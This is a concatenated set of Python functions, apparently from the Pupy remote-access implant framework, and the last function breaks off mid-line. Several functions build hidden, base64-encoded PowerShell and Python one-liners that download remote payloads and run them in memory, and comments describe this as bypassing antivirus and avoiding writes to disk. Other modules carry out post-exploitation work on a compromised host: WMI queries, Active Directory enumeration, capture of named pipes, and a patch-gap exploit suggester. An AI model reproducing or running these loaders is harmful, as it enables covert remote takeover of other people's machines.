def run(self, args): if args.action == 'start': catcher_start = self.client.remote('pipecatcher', 'catcher_start', False) if catcher_start(CATCHER_EVENT): self.success('PipeCatcher started') else: self.error('PipeCatcher already started') elif args.action == 'dump': catcher_dump = self.client.remote('pipecatcher', 'catcher_dump') data = catcher_dump() if data is None: self.error('PipeCatcher is not running') elif not data: self.warning('No data') else: data = [ '{} ({})'.format(name, sid) if name != sid else sid for (name, sid) in data ] self.log(List(data)) elif args.action == 'stop': catcher_stop = self.client.remote('pipecatcher', 'catcher_stop', False) catcher_stop() self.success('PipeCatcher stopped')
def dotnet_serve_payload(display, server, rawdll, conf, link_ip="<your_ip>"): if not server: display(Error('Oneliners only supported from pupysh')) return if not server.pupweb: display(Error('Webserver disabled')) return dn = DotNetPayload(display, server, conf, rawdll) exe_path = dn.gen_exe(options='-target:library') with open(exe_path, 'rb') as r: payload = r.read() os.unlink(exe_path) landing_uri = server.pupweb.serve_content(payload, alias='.NET payload') command = PS_TEMPLATE.format(link_ip=link_ip, port=server.pupweb.port, landing_uri=landing_uri).encode('utf-16le') display( List( [ 'powershell -w hidden -enc "{}"'.format(b64encode(command)), ], caption=Success( 'Copy/paste this one-line loader to deploy pupy without writing on the disk' )))
def tables(self, args): tables = self.client.remote('odbc', 'tables') catalogs = tables(args.alias) if not catalogs: return re_filter = None if args.filter: re_filter = re_compile(' '.join(args.filter), IGNORECASE) for catalog, records in catalogs.iteritems(): if args.views: self.log( Table([{ 'TABLE': table, 'TYPE': tabletype } for (table, tabletype) in records if not re_filter or re_filter.match(table)], ['TABLE', 'TYPE'], caption=catalog)) else: self.log( List([ table for (table, tabletype) in records if not re_filter or re_filter.match(table) and tabletype == 'TABLE' ], caption=catalog))
def register(self, args): register = self.client.remote('odbc', 'register_driver') drivers = self.client.remote('odbc', 'drivers') if register(args.name, args.description, args.library): self.client.load_dll(args.library) self.log(List(drivers()))
def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False): ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream(); [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c=""; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);} else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);} while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; } $t.Close();$l.stop();iex $c; """ main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;""" hidden = '' if nothidden else '-w hidden ' launcher = ps1_template.replace("[BIND_PORT]", bind_port) launcher = launcher.replace('\n', '').replace(' ', '') basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) display( List([ oneliner, encoded_oneliner, ], caption=Success('Copy/paste one of these one-line loader to ' 'deploy pupy without writing on the disk'))) display(Success('Generating puppy dll. Be patient...')) display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port))) s = socket.create_connection((target_ip, int(bind_port))) s.settimeout(30) s.sendall("\n") display(Success('Receiving target architecure...')) version = s.recv(1024) ps1_encoded = None if version == '2': display(Success('Target architecture: x64')) output_x64 = pupygen.generate_ps1(display, conf, x64=True, as_str=True) ps1_encoded = main_ps1_template.format(b64encode(output_x64)) else: display(Success('Target architecture: x86')) output_x86 = pupygen.generate_ps1(display, conf, x86=True, as_str=True) ps1_encoded = main_ps1_template.format(b64encode(output_x86)) display( Success('Sending ps1 payload to {0}:{1}'.format(target_ip, bind_port))) s.sendall(ps1_encoded) s.close() display( Success('ps1 payload sent to target {0}:{1}'.format( target_ip, bind_port)))
def on_data(code, payload): if code == END: completion.set() if args.verbose: self.info('DONE [Total: {}]'.format(total)) elif code == HEADER: del header[:] header.extend(payload) if output or args.tabs: tabbed = u'\t'.join(_asunicode(col[0]) for col in header) if output: output.write(tabbed + '\n') else: self.log(tabbed) elif code == LOG: if args.verbose: self.info(payload) elif code == ERROR: self.error(payload) completion.set() elif code != DATA: self.error('Unexpected code {}'.format(code)) elif payload is None: return elif output or args.tabs: total.inc(len(payload)) for record in payload: tabbed = '\t'.join(_asunicode(col) for col in record) if output: output.write(tabbed + '\n') else: self.log(tabbed) elif args.table: titles = tuple(col[0] for col in header) total.inc(len(payload)) self.log( Table([{ title: value for title, value in zip(titles, values) } for values in payload], titles)) else: total.inc(len(payload)) titles = tuple(col[0] for col in header) if len(header) == 1: for record in payload: self.log(record[0]) else: for record in payload: self.log( List([ u'{}: {}'.format(title, value) for (title, value) in zip(titles, record) ])) self.log(NewLine())
def run(self, args): wql = self.client.remote('wql', 'execute_final') if args.query: cmdline = ' '.join(args.query) else: cmdline = 'SELECT DatabaseDirectory,BuildVersion,LoggingDirectory '\ 'FROM Win32_WMISetting' try: columns, result = wql(cmdline) except Exception as e: self.error(e.strerror) return if args.columns_only: self.log(List(columns, caption='Columns')) return def _stringify(x): if type(x) in (str, unicode): return x elif type(x) in (list, tuple): return ';'.join(_stringify(y) for y in x) elif type(x) is None: return '' else: return str(x) if not columns: return elif len(columns) == 1: records = [] for record in result: for item in record: if item[0] == columns[0]: records.append(_stringify(item[1])) self.log(List(records, caption=columns[0])) else: records = [{k: _stringify(v) for k, v in record} for record in result] self.log(Table(records, columns))
def childs(self, args): childs = self.client.remote('ad', 'childs') ok, result = childs(args.realm, args.global_catalog) if not ok: self.error(result) return i_am, rootdn, childs = result self.log( List(childs, caption='Root: {} Whoami: {}'.format(rootdn, i_am)))
def _format_multi(self, results, wide=False, remove=None): keys = [] values = [] legend = ['NAME', 'TYPE', 'VALUE'] if not remove: legend.insert(0, 'KEY') for record in results: is_key, key, rest = record[0], record[1], record[2:] if remove and key.startswith(remove): key = key[len(remove) + 1:] if is_key: keys.append(key) continue name, value, ktype = rest ktype = TYPES[ktype] color = TYPE_COLORS[ktype] if not wide and type(value) in (str, unicode): value = value.strip() values.append({ 'KEY': Color(key, color), 'NAME': Color(name, color), 'VALUE': Color(value if ktype != 'BINARY' else repr(value), color), 'TYPE': Color(ktype, color) }) results = [] if keys: results.append(List(keys, caption='{ Keys }')) if values: results.append(Table(values, legend, caption='Values')) if not keys and not values: self.log('Empty') else: results = MultiPart(results) if not wide: results = TruncateToTerm(results) self.log(results)
def run(self, args): get_last_events = self.client.remote('readlogs', 'get_last_events') today = datetime.now().date() def make_fields(item): items = [] if args.time: date = datetime.fromtimestamp(item['date']) date_str = '' if date.date() == today: date_str = Color(date.strftime('%H:%M:%S'), 'cyan') elif date.date().year == today.year: date_str = Color(date.strftime('%d/%m %H:%M:%S'), 'grey') else: date_str = Color(date.strftime('%Y/%d/%m %H:%M:%S'), 'lightgrey') items.append(date_str) if 'EventID' in item: items.append(Color(item['EventID'], 'green')) msg = item['msg'] if not args.width: msg = ' '.join([x.strip() for x in msg.split('\n')]) if item.get('type') in ('CRITICAL', 'EMERGENCY', 'ALERT', 'ERROR'): msg = Color(msg, 'lightred') elif item.get('type') == 'WARNING': msg = Color(msg, 'lightyellow') elif item.get('type') == 'DEBUG': msg = Color(msg, 'grey') items.append(msg) return Line(*items) for category, events in get_last_events(args.number, args.include, args.exclude, args.event_id, args.source).iteritems(): if not events: continue data = List([make_fields(x) for x in events], indent=0, bullet='+' if args.include or args.exclude else '', caption=Color('> ' + category, 'yellow')) if not args.width: data = TruncateToTerm(data) self.log(data)
def run(self, args): wql = self.client.remote('pupyutils.psexec', 'wql') if args.query: cmdline = ' '.join(args.query) else: cmdline = 'SELECT DatabaseDirectory,BuildVersion,LoggingDirectory '\ 'FROM Win32_WMISetting' if "/" in args.target[0]: hosts = IPNetwork(args.target[0]) else: hosts = list() hosts.append(args.target[0]) for host in hosts: try: columns, values = wql(str(host), args.port, args.user, args.domain, args.passwd, args.hash, cmdline, args.timeout) if not columns: return elif len(columns) == 1: self.log( List(list(_stringify(x[0]) for x in values), caption=columns[0])) else: if not values: return elif len(values) == 1: records = [{ 'KEY': column, 'VALUE': _stringify(values[0][idx]) } for idx, column in enumerate(columns)] self.log(Table(records, ['KEY', 'VALUE'])) else: records = [{ column: _stringify(value[idx]) for idx, column in enumerate(columns) } for value in values] self.log(Table(records, columns)) except Exception as e: self.error(e)
def _output_search_results(self, results, fields, table=False, realm=None): if not results: return is_list = False is_table = False if len(fields) == 1: _results = [_get_field(line, fields[0]) for line in results] is_list = all(not isinstance(record, (dict, tuple, list)) for record in _results) if is_list: results = _results elif table and fields: results = [{field: _get_field(result, field) for field in fields} for result in results] is_table = all( all(not isinstance(value, (dict, tuple, list)) for value in record.itervalues()) for record in results) if is_list: self.log(List(results, caption=realm)) elif is_table: self.log(Table(results, fields or None, caption=realm)) else: filtered = results if fields: filtered = [{ field: _get_field(result, field) for field in fields } for result in results] formatted_json = dumps(filtered, indent=2, sort_keys=True, default=json_default, ensure_ascii=False) if realm: self.log('+ ' + realm) self.log(Pygment(lexers.JsonLexer(), formatted_json))
def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False): ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream(); [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c=""; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);} else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);} while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; } $t.Close();$l.stop();iex $c; """ main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;""" hidden = '' if nothidden else '-w hidden ' launcher = ps1_template.replace("[BIND_PORT]", bind_port) launcher = launcher.replace('\n', '').replace(' ', '') basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) display( List([ oneliner, encoded_oneliner, ], caption=Success('Copy/paste one of these one-line loader to ' 'deploy pupy without writing on the disk'))) display(Success('Generating puppy dll. Be patient...')) display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port))) s = None for _ in xrange(10): try: s = socket.create_connection((target_ip, int(bind_port))) break except socket.error, e: if e.errno not in (errno.ECONNREFUSED, errno.ETIMEDOUT): display(Error('Connection failed: {}'.format(e))) return sleep(CONNECTION_RETRY_SLEEP_TIME)
def serve_payload(display, payload, ip="0.0.0.0", port=8080, link_ip="<your_ip>"): class PupyPayloadHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() # Send the html message self.wfile.write(payload) return try: while True: try: server = HTTPServer((ip, port), PupyPayloadHTTPHandler) break except Exception as e: # [Errno 98] Adress already in use if e[0] == 98: port += 1 else: raise display( List([ "python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s/index\").read()'" % (link_ip, port), ], caption=Success( 'Copy/paste this one-line loader to deploy pupy without writing on the disk' ))) display(Success('Started http server on %s:%s ' % (ip, port))) display(Success('Waiting for a connection ...')) server.serve_forever() except KeyboardInterrupt: display( Warn('KeyboardInterrupt received, shutting down the web server')) server.socket.close() server.shutdown()
def serve_payload(display, server, payload, link_ip="<your_ip>"): if not server: display(Error('Oneliners only supported from pupysh')) return if not server.pupweb: display(Error('Webserver disabled')) return landing_uri = server.pupweb.serve_content(payload, alias='py payload') display(Warn('Python 2.7.x required, x should be >= 9')) display( List([ "python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s%s\").read()'" % (link_ip, server.pupweb.port, landing_uri), ], caption=Success( 'Copy/paste this one-line loader to deploy pupy without writing on the disk' )))
def serve_ps1_payload(display, conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", useTargetProxy=False, sslEnabled=True, nothidden=False): url_random_one = ''.join(choice(letters) for _ in xrange(10)) + '.txt' url_random_two_x86 = ''.join(choice(letters) for _ in xrange(10)) + '.txt' url_random_two_x64 = ''.join(choice(letters) for _ in xrange(10)) + '.txt' try: protocol = 'http' ssl_cert_validation = '' not_use_target_proxy = '' hidden = '-w hidden ' if nothidden: hidden = '' if sslEnabled: protocol = 'https' ssl_cert_validation = '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};' if not useTargetProxy: not_use_target_proxy = '$w=(New-Object System.Net.WebClient);$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();' powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX(New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT]/[RANDOM]');" repls = ('[NOT_USE_TARGET_PROXY]', not_use_target_proxy), \ ('[SSL_CERT_VALIDATION]', ssl_cert_validation), \ ('[PROTOCOL]', protocol), \ ('[LINK_IP]', '%s' % link_ip), \ ('[LINK_PORT]', '%s' % port) powershell = reduce(lambda a, kv: a.replace(*kv), repls, powershell) launcher = powershell.replace('[RANDOM]', url_random_one) basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace('[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c %s' % repr(launcher)) encoded_oneliner = basic_launcher.replace('[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) # Compute stage1 to gain time response ps_template_stage1 = """ if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {{ {0} }} else {{ {1} }} """ launcher_x64 = powershell.replace('[RANDOM]', url_random_two_x64) launcher_x86 = powershell.replace('[RANDOM]', url_random_two_x86) stage1 = ps_template_stage1.format(launcher_x64, launcher_x86) # For bypassing AV stage1 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage1)) # generate both pupy dll to gain time response display(Success('Generating puppy dll to gain server reaction time. Be patient...')) tmpfile = tempfile.gettempdir() output_x86 = pupygen.generate_ps1(display, conf, output_dir=tmpfile, x86=True) output_x64 = pupygen.generate_ps1(display, conf, output_dir=tmpfile, x64=True) stage2_x86 = open(output_x86).read() stage2_x64 = open(output_x64).read() # For bypassing AV stage2_x86 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage2_x86)) stage2_x64 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage2_x64)) class PupyPayloadHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): self.server_version = "Apache/2.4.27 (Unix)" self.sys_version = "" if self.path == "/%s" % url_random_one: self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() # Send stage 1 to target self.wfile.write(self.server.stage1) display(Success('[Stage 1/2] Powershell script served !')) elif self.path == "/%s" % url_random_two_x86 or self.path == "/%s" % url_random_two_x64: self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() stage2 = None if self.path == "/%s" % url_random_two_x86: display(Success('Remote script is running in a x86 powershell process')) stage2 = self.server.stage2_x86 else: display(Success('Remote script is running in a x64 powershell process')) stage2 = self.server.stage2_x64 # Send stage 2 to target self.wfile.write(stage2) display(Success( '[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!')) display(Success( '{}:You should have a pupy shell in few seconds from this host...'.format( self.client_address[0]))) else: self.send_response(404) self.send_header('Content-type','text/html') self.end_headers() self.wfile.write(APACHE_DEFAULT_404) server = ThreadedHTTPServer((ip, port), PupyPayloadHTTPHandler) server.set(conf, sslEnabled, stage1, stage2_x86, stage2_x64) display(List([ oneliner, encoded_oneliner ], caption=Success( 'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:'))) display(Warn( 'Please note that even if the target\'s system uses a proxy, ' 'this previous powershell command will not use the ' 'proxy for downloading pupy')) display(Success('Started http server on %s:%s ' % (ip, port))) display(Success('Waiting for a connection ...')) server.serve_forever() except KeyboardInterrupt: print 'KeyboardInterrupt received, shutting down the web server' server.server_close() finally: # clean local file created os.remove(output_x86) os.remove(output_x64)
def run(self, args): close_event = threading.Event() result = [] cmdargs = None kwargs = None definitions = None safe_exec = self.client.remote('pupyutils.safepopen', 'safe_exec', False) if self.client.is_linux(): payload = open(LINUX_EXPLOIT_SUGGESTER_PATH).read() cmdargs = ['/bin/bash'] kwargs = (('stdin_data', payload), ) else: definitions = os.path.join(self.config.get_folder('plugins'), WES_LOCAL_FILE) if not os.path.isfile(definitions) or args.update: self.info( 'Updating WES defintions from {}'.format(WES_DEFINITIONS)) try: response = urlopen(WES_DEFINITIONS) with open(definitions, 'w+b') as out: while True: block = response.read(32768) if not block: break out.write(block) except Exception as e: self.error('Update failed: {}'.format(e)) if os.path.isfile(definitions): try: os.unlink(definitions) except (OSError, IOError): pass return self.info('Update completed ({})'.format(definitions)) expandvars = self.client.remote('os.path', 'expandvars') systeminfo = expandvars(r'%WINDIR%\System32\systeminfo.exe') cmdargs = [systeminfo] kwargs = tuple() self.info('Execute payload ({})'.format(' '.join(cmdargs))) self.terminate_pipe, get_returncode = safe_exec( result.append, close_event.set, cmdargs, kwargs) close_event.wait() retcode = get_returncode() if retcode != 0: self.warning('Ret: {}'.format(retcode)) else: self.success('Done') result = ''.join(result) if not result: self.error('No data') return if self.client.is_linux(): self.log(result) return wes = imp.load_source('wes', WES_PATH) try: cves, date = wes.load_definitions(definitions) except BadZipfile: self.error('Defintions were downloaded incorrectly ({})'.format( definitions)) return productfilter, win, mybuild, version, arch, hotfixes = \ wes.determine_product(result) self.log( List([ 'Definitions: ' + str(date), 'Name: ' + productfilter, 'Generation: ' + (win or 'N/A'), 'Build: ' + (str(mybuild) if mybuild else 'N/A'), 'Version: ' + (str(version) or 'N/A'), 'Architecture: ' + arch, 'Hotfixes: ' + ', '.join(['KB%s' % kb for kb in hotfixes]) ], caption='Operating System')) try: filtered, found = wes.determine_missing_patches( productfilter, cves, hotfixes) except wes.WesException as e: self.error(e.msg) return if not args.no_recent_kb: recentkb = wes.get_most_recent_kb(found) if recentkb: recentdate = int(recentkb['DatePosted']) found = list( filter(lambda kb: int(kb['DatePosted']) >= recentdate, found)) if 'Windows Server' in productfilter: self.info('Filtering duplicate vulnerabilities') found = wes.filter_duplicates(found) filtered = wes.apply_display_filters(found, args.hide, True, [], []) if not filtered: self.info('No vulnerabilities found') return results = {} proposed = set() for res in filtered: exploits = res['Exploits'].split(',') for exploit in exploits: exploit = exploit.strip() if exploit in proposed: continue proposed.add(exploit) impact = ''.join(l[0] for l in res['Impact'].split()) color = 'white' if impact == 'ID': color = 'grey' elif res['Severity'] == 'Critical' or impact in ('RCE', 'EoP'): color = 'lightred' elif res['Severity'] == 'Important': color = 'lightyellow' title = (res['AffectedComponent'] + ' / ' + res['AffectedProduct']) \ if res['AffectedComponent'] else res['AffectedProduct'] if title not in results: results[title] = [] results[title].append({ 'CVE': Color(res['CVE'], color), 'Date': res['DatePosted'], 'Impact': impact, 'Exploit': exploit }) tables = [NewLine()] for component, cves in results.iteritems(): tables.append( Table(cves, ['CVE', 'Date', 'Impact', 'Exploit'], component)) self.log(MultiPart(tables))
def serve_ps1_payload(display, server, conf, link_ip="<your_ip>", useTargetProxy=False, nothidden=False): if not server: display(Error('Oneliners only supported from pupysh')) return if not server.pupweb: display(Error('Webserver disabled')) return stage_encoding = "$data='{0}';$code=[System.Text.Encoding]::UTF8.GetString("\ "[System.Convert]::FromBase64String($data));$data='';iex $code;" payload_url_x86 = server.pupweb.serve_content(stage_encoding.format( b64encode(pupygen.generate_ps1(display, conf, x86=True, as_str=True))), as_file=True, alias='ps1 payload [x86]') payload_url_x64 = server.pupweb.serve_content(stage_encoding.format( b64encode(pupygen.generate_ps1(display, conf, x64=True, as_str=True))), as_file=True, alias='ps1 payload [x64]') protocol = 'http' ssl_cert_validation = '' not_use_target_proxy = '' hidden = '-w hidden ' if nothidden: hidden = '' if server.pupweb.ssl: protocol = 'https' ssl_cert_validation = '[System.Net.ServicePointManager]::'\ 'ServerCertificateValidationCallback={$true};' if not useTargetProxy: not_use_target_proxy = '$w=(New-Object System.Net.WebClient);'\ '$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();' powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX("\ "New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT][RANDOM]');" repls = { '[NOT_USE_TARGET_PROXY]': not_use_target_proxy, '[SSL_CERT_VALIDATION]': ssl_cert_validation, '[PROTOCOL]': protocol, '[LINK_IP]': '%s' % link_ip, '[LINK_PORT]': '%s' % server.pupweb.port, } for k, v in repls.iteritems(): powershell = powershell.replace(k, v) launcher_x64 = powershell.replace('[RANDOM]', payload_url_x64) launcher_x86 = powershell.replace('[RANDOM]', payload_url_x86) # Compute stage1 to gain time response ps_template_stage1 = "if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{ {0} }} else {{ {1} }}" # For bypassing AV stage1 = r"$code=[System.Text.Encoding]::UTF8.GetString("\ "[System.Convert]::FromBase64String('{0}'));iex $code;".format( b64encode(ps_template_stage1.format(launcher_x64, launcher_x86))) landing_uri = server.pupweb.serve_content(stage1, alias='ps1 payload loader') launcher = powershell.replace('[RANDOM]', landing_uri) basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) display( List( [oneliner, encoded_oneliner], caption=Success( 'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:' ))) display( Warn('Please note that even if the target\'s system uses a proxy, ' 'this previous powershell command will not use the ' 'proxy for downloading pupy'))
def on_data(payload): if isinstance(payload, tuple): self.info(List(payload[1], caption=payload[0])) else: self.info(payload)
def getinfo(self, args): info = self.client.remote('ad', 'info') desc = from_tuple_deep(info(args.realm, args.global_catalog), False) idesc = desc.get('info', {}) infos = [] versions = idesc.get('supported_ldap_versions', []) if not hasattr(versions, '__iter__'): versions = [versions] infos.append( List([ 'Bind: ' + desc.get('bind', ''), 'Root: ' + desc.get('root', ''), 'LDAP: ' + desc.get('ldap', ''), 'DNS: ' + desc['dns'][4][0] if desc.get('dns', None) else '', 'Schema: ' + idesc.get('schema_entry', ''), 'Versions: ' + ', '.join(str(version) for version in versions), 'SASL Mechs: ' + ', '.join( mech for mech in idesc.get('supported_sasl_mechanisms', [])) ], caption='Connection')) if desc['ldap_servers']: infos.append( Table(desc['ldap_servers'], ['address', 'port', 'priority'], caption='LDAP Servers')) if desc['dns_servers']: infos.append( Table([{ 'IP': dns[0][4][0] + ('/tcp' if dns[0][2] == 2 else '/udp'), 'Delay': '{:.02f}ms'.format(dns[1] * 1000), } for dns in desc['dns_servers']], ['IP', 'Delay'], caption='DNS Servers')) if not idesc: self.log(MultiPart(infos)) return if idesc['alt_servers']: infos.append( List(idesc['alt_servers'], caption='Alternate servers')) if idesc['naming_contexts'] and not isinstance( idesc['naming_contexts'], (str, unicode)): infos.append( List(idesc['naming_contexts'], caption='Naming contexts')) supported = [] for table in ('supported_controls', 'supported_extensions', 'supported_features'): for oid, klass, name, vendor in idesc[table]: supported.append({ 'OID': oid, 'Type': klass, 'Name': name, 'Vendor': vendor }) if supported: infos.append( Table(supported, ['OID', 'Type', 'Name', 'Vendor'], caption='Supported features and extensions')) if 'other' in idesc: infos.append( List(tuple('{}: {}'.format(key, value) for key, value in idesc['other'].iteritems() if key not in ('supportedLDAPPolicies', )), caption='Other info')) self.log(MultiPart(infos))
class FStat(PupyModule): '''Show a bit more info about file path. ACLs/Caps/Owner for now''' dependencies = { 'all': ['pupyutils.basic_cmds', 'fsutils', 'fsutils_ext'], 'windows': ['junctions', 'ntfs_streams', 'pupwinutils.security'], 'linux': ['xattr', 'posix1e', 'prctl', '_prctl'] } @classmethod def init_argparse(cls): cls.arg_parser = PupyArgumentParser(prog='stat', description=cls.__doc__) cls.arg_parser.add_argument( '-v', '--verbose', action='store_true', default=False, help='Print more information (certificates for example)') cls.arg_parser.add_argument('path', type=str, nargs=REMAINDER, help='path of a specific file', completer=remote_path_completer) def run(self, args): getfilesec = self.client.remote('fsutils_ext', 'getfilesec') path = ' '.join(args.path) try: sec = getfilesec(path) except Exception, e: self.error(' '.join(x for x in e.args if type(x) in (str, unicode))) return ctime, atime, mtime, size, owner, group, header, mode, extra = sec owner_id, owner_name, owner_domain = owner group_id, group_name, group_domain = group default = { 'Created': file_timestamp(ctime, time=True), 'Accessed': file_timestamp(atime, time=True), 'Modified': file_timestamp(mtime, time=True), 'Size': '{} ({})'.format(size_human_readable(size), size), 'Owner': '{}{} ({})'.format(owner_domain + '\\' if owner_domain else '', owner_name, owner_id), 'Group': '{}{} ({})'.format(group_domain + '\\' if group_domain else '', group_name, group_id), 'Mode': mode, } infos = [] infos.append( Table([{ 'Property': p, 'Value': default[p] } for p in ('Created', 'Accessed', 'Modified', 'Size', 'Owner', 'Group', 'Mode')], ['Property', 'Value'], legend=False)) oneliners = [] certificates = None for extra, values in extra.iteritems(): if extra == 'Certificates': certificates = [ load_cert_string(cert, FORMAT_DER).as_text() for cert in values ] elif isinstance(values, dict): records = [{ 'KEY': k.decode('utf-8'), 'VALUE': v.decode('utf-8') if isinstance(v, str) else str(v) } for k, v in values.iteritems()] infos.append(Table(records, ['KEY', 'VALUE'], caption=extra)) elif isinstance(values, (list, tuple)): if all( isinstance(value, (list, tuple)) and len(value) == 2 for value in values): infos.append( List('{}: {}'.format(key, value) for key, value in values)) else: infos.append(List(values, caption=extra)) elif isinstance(values, int): oneliners.append('{}: {}'.format(extra, values)) elif '\n' in values: infos.append(Line(extra + ':', values)) else: oneliners.append(extra + ': ' + values) if args.verbose: magic = '' if header: with Magic() as libmagic: magic = libmagic.id_buffer(header) if magic: oneliners.append('Magic: {}'.format(magic)) if certificates: infos.extend(certificates) if oneliners: infos.append(List(oneliners, caption='Other')) self.log(MultiPart(infos))
def drivers(self, args): drivers = self.client.remote('odbc', 'drivers') self.log(List(drivers()))
def get_raw_conf(display, conf, obfuscate=False, verbose=False): credentials = Credentials(role='client') if "offline_script" not in conf: offline_script="" else: offline_script=conf["offline_script"] launcher = launchers[conf['launcher']]() launcher.parse_args(conf['launcher_args']) required_credentials = set(launcher.credentials) \ if hasattr(launcher, 'credentials') else set([]) transport = launcher.get_transport() transports_list = [] if transport: transports_list = [transport] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for n, t in transports.iteritems(): transports_list.append(n) if t.credentials: for name in t.credentials: required_credentials.add(name) available = [] not_available = [] for cred in required_credentials: if credentials[cred]: available.append(cred) else: not_available.append(cred) display( List(available, bullet=Color('+', 'green'), caption=Success('Required credentials (found)'))) if not_available: display( List(not_available, bullet=Color('-', 'red'), caption=Error('Required credentials (not found)'))) embedded_credentials = '\n'.join([ '{}={}'.format(credential, repr(credentials[credential])) \ for credential in required_credentials if credentials[credential] is not None ])+'\n' if verbose: config_table = [{ 'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else ( unicode(v) if type(v) not in (tuple,list,set) else ' '.join( unicode(x) for x in v)) } for k,v in conf.iteritems() if v] display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1)) config = '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps({ 'pupy_credentials.pye': bytes(pupycompile(embedded_credentials, obfuscate=True)) }))), dependencies.importer(set( 'network.transports.{}'.format(transport) for transport in transports_list ), path=ROOT), 'import sys', 'sys.modules.pop("network.conf", "")', 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), 'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)), 'DELAYS={}'.format(repr(conf.get('delays', [ (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))), 'pupy.cid = CONFIGURATION_CID', 'debug={}'.format(bool(conf.get('debug', False))), 'SCRIPTLETS={}'.format(repr(offline_script) if offline_script else '""') ]) return compress_encode_obfs(config) if obfuscate else config
class FStat(PupyModule): '''Show a bit more info about file path. ACLs/Caps/Owner for now''' dependencies = { 'all': ['pupyutils', 'fsutils', 'fsutils_ext'], 'windows': ['junctions', 'ntfs_streams'], 'linux': ['xattr', 'posix1e', 'prctl', '_prctl'] } @classmethod def init_argparse(cls): cls.arg_parser = PupyArgumentParser(prog='stat', description=cls.__doc__) cls.arg_parser.add_argument('path', type=str, nargs=REMAINDER, help='path of a specific file', completer=remote_path_completer) def run(self, args): getfilesec = self.client.remote('fsutils_ext', 'getfilesec') path = ' '.join(args.path) try: sec = getfilesec(path) except Exception, e: self.error(' '.join(x for x in e.args if type(x) in (str, unicode))) return ctime, atime, mtime, size, owner, group, header, mode, extra = sec owner_id, owner_name, owner_domain = owner group_id, group_name, group_domain = group magic = '' if header: with Magic() as libmagic: magic = libmagic.id_buffer(header) default = { 'Created': file_timestamp(ctime, time=True), 'Accessed': file_timestamp(atime, time=True), 'Modified': file_timestamp(mtime, time=True), 'Size': '{} 